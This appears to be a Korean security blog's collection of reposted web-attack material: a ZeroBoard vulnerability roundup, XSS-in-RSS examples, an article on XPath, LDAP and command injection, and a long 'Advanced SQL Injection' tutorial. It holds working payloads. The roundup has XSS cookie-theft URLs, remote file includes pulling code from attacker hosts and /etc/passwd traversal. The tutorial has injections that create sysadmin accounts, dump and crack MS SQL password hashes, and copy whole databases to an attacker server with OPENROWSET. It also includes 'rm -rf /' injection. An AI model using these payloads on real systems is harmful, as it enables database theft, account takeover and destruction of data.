By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.

Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.


We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.

This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.

But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.

Thanks to David Litchfield and Randal Schwartz for their technical input to this paper, and to the great Chris Mospaw for graphic design (ⓒ 2005 by Chris Mospaw, used with permission).

2009/08/26 17:48 2009/08/26 17:48

Advanced_Topics_on_SQL_Injection_Protection


1.1. Input Validation
 
 
2.2. Static query statement
 
 
3.3. Least Privilege
 
 
4.4. Code Verification
 
 
5.5. Web Application Gateway
 
 
6.6. SQL Driver Proxy
 
 
2009/08/26 17:48 2009/08/26 17:48

Absinthe is a gui-based tool that automates the process of downloading the schema & contents of a database that is vulnerable to Blind SQL Injection.


Absinthe does not aid in the discovery of SQL Injection holes. This tool will only speed up the process of data recovery.

Features:

  • Automated SQL Injection
  • Supports MS SQL Server, MSDE, Oracle, Postgres
  • Cookies / Additional HTTP Headers
  • Query Termination
  • Additional text appended to queries
  • Supports Use of Proxies / Proxy Rotation
  • Multiple filters for page profiling
  • Custom Delimiters

만들어 진지는 좀 오래되었지만 꽁짜입니다

단순히 쉽게 테스트해보기는 좋네요


injection을 삽입할 파라미터를 추가(Injectable Parameter 체크)후 Initialize Injection 버튼을 클릭하세요


2009/08/26 17:46 2009/08/26 17:46
사용자 삽입 이미지
2009/08/26 17:45 2009/08/26 17:45

Hacking RSS and Atom Feed Implementations



RSS나 ATOM같은 XML 서비스 사용에 있어서 reader가 web based feed 라면 client역시 충분히 공격받을 수 있습니다


예) no_no_javascript Injection


<?xml version="1.0" encoding="ISO-8859-1"?> <rss version="2.0"> <channel>
<title> <script>alert('Channel Title')</script>
</title>
<link>http://www.mycoolsite.com/
</link>
<description> <script>alert('Channel Description')</script> </description>
<language>en-us
</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate> <ttl>10</ttl> <image>
<title> <script>alert('Channel Image Title')</script>
</title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>

<height>33</height>
<description> <script>alert('Channel Image Description')</script> </description>
</image>
<item>
<title> <script>alert('Item Title')</script> </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> <script>alert('Item Description')</script> </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate> <guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

위와같은 형태로 Javascirpt를 실행하여 불법S/W를 설치하거나, 쿠키등을 훔치게 된다


그럼 아래와 같이 만들면 어떻게 될까요?

<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title> &lt;script&gt;alert('Channel Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<description> &lt;script&gt;alert('Channel Description')&lt;/script&gt;
</description>
<language>en-us</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate>

<ttl>10</ttl>
<image>
<title> &lt;script&gt;alert('Channel Image Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
<height>33</height>
<description> &lt;script&gt;alert('Channel Image Description')&lt;/script&gt;
</description>
</image>
<item>
<title> &lt;script&gt;alert('Item Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> &lt;script&gt;alert('Item Description')&lt;/script&gt; </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate>
<guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

대부분의 RSS viewer들은 &lt;를 <로, &gt;를 >로 컨버팅한 후 content를 browser 기반의 component로 실행하기 때문에 위와 같이 변경한다 해도 스크립트는 실행되게 된다


기타 자세한 내용은 첨부파일을 참조하세요 ^^

2009/08/26 17:44 2009/08/26 17:44

SQL뿐 아니라 LDAP에 대한 Injection code를 소개합니다

 

Malicious Code Injection: It’s Not Just for SQL Anymore

 

 

by: Bryan Sullivan

More and more, developers are becoming aware of the threats posed by malicious code, and SQL injection in particular, and by leaving code vulnerable to such attacks. However, while SQL is the most popular type of code injection attack, there are several others that can be just as dangerous to your applications and your data, including LDAP injection and XPath injection. While these may not be as well-known to developers, they are already in the hands of hackers, and they should be of concern.


In addition, much of the common wisdom concerning remediation of malicious code injection attacks is inadequate or inaccurate. Following these flawed recommendations will not improve the security of your application, but will only leave you with a false sense of security until the next time your application is compromised and your data is stolen, erased, or tampered with. It is important for developers to acquaint themselves with all code injection types that exist as well as the proper ways to fix any vulnerabilities to malicious code.


The Basic Premise of All Code Injection Types

Many people mistakenly think that they are safe from malicious code injection attacks because they have firewalls or SSL encryption. However, while a firewall can protect you from network level attacks, and while SSL encryption can protect you from an outside user intercepting data between two points, neither of these options offers any real protection from code injection attacks. All code injection attacks work on the same principle: a hacker piggybacks malicious code onto good code through an input field in the application. Therefore, the protection instead has to come from the code within the application itself.


There are many motives that hackers using malicious code injection attacks may have. They may wish to access a website or database that was intended only for a certain set of users. They may also wish to access a database in order to steal such sensitive information as social security numbers and credit cards. Other hackers may wish to tamper with a database – lowering prices, for example, so they can steal items from an e-commerce site with ease. And once an attacker has gained access to a database by using malicious code, he may even be able to delete it completely, causing chaos for the business that has been attacked.

The root of all code injection problems is that developers put too much trust into the users of applications. A developer should never trust the user to operate the application in a safe manner. There will always be someone who is looking to use malicious code in an exploitative manner.

 

Looking Beyond SQL Injections

Aside from SQL injections, there are several other types of malicious code injection attacks with which developers must become familiar. Three of these types of dangerous malicious code injections are XPath injection, LDAP injection, and command execution injection.


An XPath injection attack is similar to an SQL injection attack, but its target is an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to trick the application into providing access to protected information. If your website uses an XML (Extensible Markup Language) document to store data and user input is included in an XPath query against that document, you may be vulnerable to an XPath injection.


For example, consider the following XML document used by an e-commerce website to store customers’ order history:


<? xml version = " 1.0" encoding =" utf-8" ?>
< orders >
  < customer id = " 1" >
    < name > Bob Smith </ name >
    <email>bob.smith@bobsmithinc.com</email>
    <creditcard> 1234567812345678 </creditcard>
    <order>
      <item>
        <quantity> 1 </quantity>
        <price> 10.00 </price>
        <name> Sprocket </name>
      </item >
      <item >
        <quantity> 2 </quantity>
        <price> 9.00 </price>
        <name> Cog </name>
      </item>
    </order>
  </ customer >
  …
</ orders >


The website allows its users to search for items in their order history based on price. The XPath query that the application performs looks like this:


string query = "/orders/customer[@id='" +
customerId
+ "']/order/item[price >= '" +
priceFilter
+ "']";


If both the customerId and priceFilter values have not been properly validated, an attacker will be able to exploit the XPath injection vulnerability. Entering the following value for either value will select the entire XML document and return it to the attacker:


'] | /* | /foo[bar='


With one simple request, the attacker has stolen personal data including e-mail addresses and credit card numbers for every customer that has ever used the website. Blind XPath injection attacks, like blind SQL injection attacks, are possible, but in situations like our example they’re not even necessary. XPath queries do not throw errors when the search elements are missing from the XML document in the same way that SQL queries do when the search table or columns are missing from the SQL database. Because of the forgiving nature of XPath, it can actually be easier for an attacker to use malicious code to perform an XPath injection attack than an SQL injection attack.

 

LDAP Injection and Command Execution
Like SQL injection for SQL databases and XPath injection for XML documents, LDAP injection attacks provide the malicious user with access to an LDAP directory, through which he or she can extract information that would normally be hidden from view. For example, an attacker could possibly uncover personal or password-protected information about a professor listed in the directory of a collegiate site. A hacker using this technique may rely on monitoring the absence and presence of error messages returned from the malicious code injection to further pursue an attack.

Some examples of LDAP injection clauses are:

  • *
  • )(|(cn=*)
  • )(|(objectclass=*)
  • )(|(homedirectory=*)

Finally, command execution can also provide the means for malicious code injection. Many times, a website calls out to another program on the system to accomplish some kind of goal. For example, in a UNIX system, the finger command can be used to find out details about when a user was last on the system, for how long, and so on. A user could, in this case, attach malicious code to the finger command and gain access to the system and its data process. So, the command:

finger bobsmith
becomes:
finger bobsmith; rm –rf /

which will attempt to delete every file on the system.

 

Preventative Measures: The Good and the Bad
Several preventative actions have commonly been suggested to developers to protect applications from malicious code injection, but many of these have proven inadequate. For example, developers are told that turning off error messages can prevent code injection attacks, which is untrue. Some code injection attacks do not rely on error messages at all. These attacks are called “blind” injections. Since blind injection attacks can succeed even if error messages are suppressed, turning off error messages simply makes the application more obscure for the legitimate user while leaving data vulnerable to attack.


In addition, it is often said that using stored procedures for SQL calls can help remove vulnerabilities to SQL injections. This approach is easy to take with many applications – Oracle databases allow the user to write stored procedures in Java, while Microsoft SQL Server 2005 allows stored procedures to be written in .NET languages like C#. While there are many good reasons to use stored procedures, they do not solve the problem of SQL injection on their own. Using stored procedures simply shifts the burden of the problem onto the stored procedures. The complicated languages that allow the writing of stored procedures also are open to programming mistakes – mistakes that can lead to code injection vulnerability. The bottom line is that the developer has the responsibility to ensure that the data that is being passed to a database is safe and secure, so more steps must be taken at this stage.


The only real way to defend against all malicious code injection attacks is to validate every input from every user. While establishing a list of “bad” input values that should be blocked (a blacklist) may seem like an appropriate first step, this approach is extremely limited. A finite list of problems simply gives hackers the opportunity to discover ways around your list. There is simply no way to make sure that you are covering every possibility with your blacklist, so you are still leaving the application vulnerable to malicious code injections.


The correct way to validate input is to start instead with a whitelist – a list of allowable options. For example, a whitelist may allow usernames that fit within specific parameters – only eight characters long with no punctuation or symbols, and so on. This can reduce the surface area of a malicious code injection attack by specifying the proper format for the input into the field. The application can then reject input that does not fit the established format. This approach (unlike a blacklist) can prevent not only known, current attacks but also unknown, future attacks.

To be completely thorough, a developer should set up both white- and blacklists in order to cover all bases. In this way, the whitelist can be used to block the majority of attacks, while the blacklist can cover specific edge cases not handled by the whitelist. To protect against SQL injection, a whitelist could allow only alphanumeric input, while a “backup” blacklist could specifically disallow common SQL verbs like SELECT and UPDATE.

 

Conclusion
Developers may already be aware of SQL injections, but they may not be considering other types of malicious code injection attacks when creating a web application. Many applications are therefore left vulnerable to attack. A good developer should familiarize him or herself with other types of code injection, including LDAP injection and XPath injection, as well as the best ways to stop these attacks. In this way, applications can be made more secure at the start of the development process, and data will be protected.

 

About the Author

Bryan Sullivan is a development manager at SPI Dynamics, a Web application security products company. Bryan manages the DevInspect and QAInspect Web security products, which help programmers maintain application security throughout the development and testing process. He has a bachelor’s degree in mathematics from Georgia Tech and 11 years of experience in the information technology industry. Bryan is currently coauthoring a book on Ajax security, which will be published in summer 2007.

2009/08/26 17:43 2009/08/26 17:43

Security Test Tools for Web Applications


1. Web applications and their security problems

2. The Test Applications

3. Security Check Tools: Capabilities, Limitations, practical Tips

4. Free Tools

5. Watchfire AppScan Audit

6. SPI WebInspect

7. Acunetix Web Vulnerability Scanner

8. Tools not evaluated

9. Comparison Table for Commercial Tools

10. Useful Auxiliary Tools

11. Conclusion

12. Further Information

2009/08/26 17:43 2009/08/26 17:43

출처 SecurityPlus

게시판만들때 참고하면 많은 도움 됩니다


==============================================================================


안녕하세요. SecurityPlus입니다.

본 자료는 국내 해커 및 보안 강사로 활동 중인 이경태님께서 제공해 주셨습니다.

그럼, 많은 활용 바랍니다.

안녕히 계세요.


제로보드 취약점 총정리  

■ 크로스사이트 스크립팅 취약점(2005.02.19)
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E


■ Print_Category.PHP 원격 File Include 취약점(2005.01.13)
http://www.example.com/[zeroboard]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/


■ DIR 파라미터 원격 File Include 취약점(2005.01.13)
The following proof of concept examples are available:
http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]
http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/


■ 다중 File Disclosure 취약점(2005.01.13)
http://www.example.com/_head.php?_zb_path=../../../../../etc/passwd%00
http://www.example.com/include/write.php?dir=../../../../../etc/passwd%00
http://www.example.com/outlogin.php?_zb_path=../../../../../etc/passwd%00


■ 다중원격 스크립트 삽입과 크로스사이트 스크립팅 취약점(2004.12.24)
http://www.example.com/outlogin.php?_zb_path=ftp://[attacker]/pub/
http://www.example.com/include/write.php?dir=http://[attacker]/
http://www.example.com/check_user_id.php?user_id=<script>alert(no_no_no_document.cookie)</sc
ript>


■ 악성 PHP 삽입(2002.06.14)
We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"
and
made a sample code, alib.php,

--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"

-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php
check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php
delete.php delete_ok.php download.php error.php icon image_box.php images
include index.html install.php install1.php install2.php install2_ok.php install_ok.php
latest_skin lib.php license.txt list_all.php login.php login_check.php
logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php
member_memo2.php member_memo3.php member_modify.php member_modify_ok.php
member_out.php open_window.php outlogin.php outlogin_skin schema.sql script
select_list_all.php send_message.php setup.php skin style.css view.php view_info.php
view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php
zipcode
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php
on line 41
-----------------------------------------


■ PHP Include File 명령실행 취약점(2002.01.15)
PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a

2009/08/26 17:42 2009/08/26 17:42

Advanced SQL Injection

 

 

                  Written by Osiris Thomas

 

 


 

 

1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.

 

 

1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.

userID

Name

LastName

Login

Password

1

John

Smith

jsmith

hello

2

Adam

Taylor

adamt

qwerty

3

Daniel

Thompson

dthompson

dthompson

 

▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.

 

a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)

LastName

Smith

 

 

1.2 DML & DLL

Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.

) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문

 

 

1.3  Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다

 

 

1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.

 

애플리케이션을 통한 데이터베이스 접근 방법

Perl and CGI scripts

ASP, JSP, PHP

XML, XSL and XSQL

no_javascript

VB, MFC, and other ODBC-based tools and APIs

DB specific Web-based applications and API’s

Reports and DB Applications

3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

 

 

1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

 

1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

 

a)문자를 통한 Injection

formusr = ' or 1=1 – –

formpwd = anything

 

b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'

 

2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct  AND pin = $formpin";

 

a) 숫자 입력 필드에 삽입

$formacct = 1 or 1=1 #

$formpin = 1111

 

b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

 

2 SQL Injection 테스트 방법론 


 


1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.

 

▪ 문자 : ' " ) # || + >

SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--

 

 

2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.

 

a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.

 

■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -

 

ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

 

iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.

' and 1 in (select 'text' ) - -

 

iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.

 

Blind Injection

i. 출력 시 나오는 다른 출력 값을 이용

' and condition  and '1'='1

 

ii. IF문을 사용

'; if condition  waitfor delay '0:0:5' --

'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

 

iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.

 

b) 쿼리의 이해

i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.

SELECT  * FROM table WHERE x = 'normalinput' group by x having 1=1 --

GROUP BY x HAVING x = y ORDER BY x

 

ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.

UPDATE users    SET password = 'new password'  WHERE login = logged.user
AND password = 'old password'

 

c) 데이터베이스 타입의 결정

대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.

 

DBMS별 차이점 (1)



 

DBMS별 차이점 (2)

 


 

d) 사용자의 권한 레벨을 알아 낸다.

i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.

user  or current_user

session_user

system_user

' and 1 in (select user ) --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

 

ii. 기본 관리자 계정

sa, system, sys, dba, admin, root 등

 

iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.

 

e) OS interaction 레벨을 결정

 

3) 1=1 Attacks

 데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.

 

a) 테이블에 정의된 사용자를 열거하는 Query

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

 

b) DB에서 테이블 컬럼명을 열거하는 쿼리

MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')

sp_columns tablename (this stored procedure can be used instead)

MySQL

show columns from tablename

 

Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0

 

c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1  from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --

 

d) 서버에서 다른 데이터베이스 질의 하기

' and 1 in (select min(name ) from  master.dbo.sysdatabases where name >'.' ) --

 

e) 데이터 베이스의 파일 위치 질의 하기

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

 

d) 각 DBMS별 시스템 테이블

MySQL

MS SQL Server

Oracle

MS Access

mysql.user

mysql.host

mysql.db

 

sysobjects

syscolumns

systypes

sysdatabases

 

SYS.USER_OBJECTS

SYS.TAB

SYS.USER_TEBLES

SYS.USER_VIEWS

SYS.ALL_TABLES

SYS.USER_TAB_COLUMNS

SYS.USER_CATALOG

MsysACEs

MsysObjects

MsysQueries

MsysRelationships

 

 

e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

 from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

' ; drop table temp --

 

f) 데이터베이스에 계정 생성하기

MS SQL

exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'

MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD(' Pass123'))

Access

CREATE USER victor IDENTIFIED BY ' Pass123'

Postgres (requires UNIX account)

CREATE USER victor WITH PASSWORD ' Pass123'

Oracle

CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

 

g) MS SQL Server 해쉬값 추출하기

i. 간단한 방법

SELECT name, password FROM master..sysxlogins

 

ii. 패스워드 해쉬값 추출하기

SELECT password FROM master..sysxlogins


 

   ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16) 
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

SUBSTRING (@hexstring, @secondint+1, 1) 

select @i=@i+1  END

 

   iii. 한번에 실행하는 명령어

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin  declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)  select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)  select @i=@i+1  end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –

 

   vi. 에러 메시지를 통해서 해쉬 값 추출하기

' and 1 in (select x from temp) --

' and 1 in (select substring (x, 256, 256) from temp) --

' and 1 in (select substring (x, 512, 256) from temp) --

' drop table temp --

 

 

 

 

 

 


 

   v. 패스워드 무작위 대입

SQL 패스워드 크랙 스크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords

 


 

   vi. DB구조와 데이터 전송하기

만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.

Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성

 

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --

'; insert into                                                  
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')                  
select * from user_database.dbo.sysobjects --

'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --

 


 

step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.

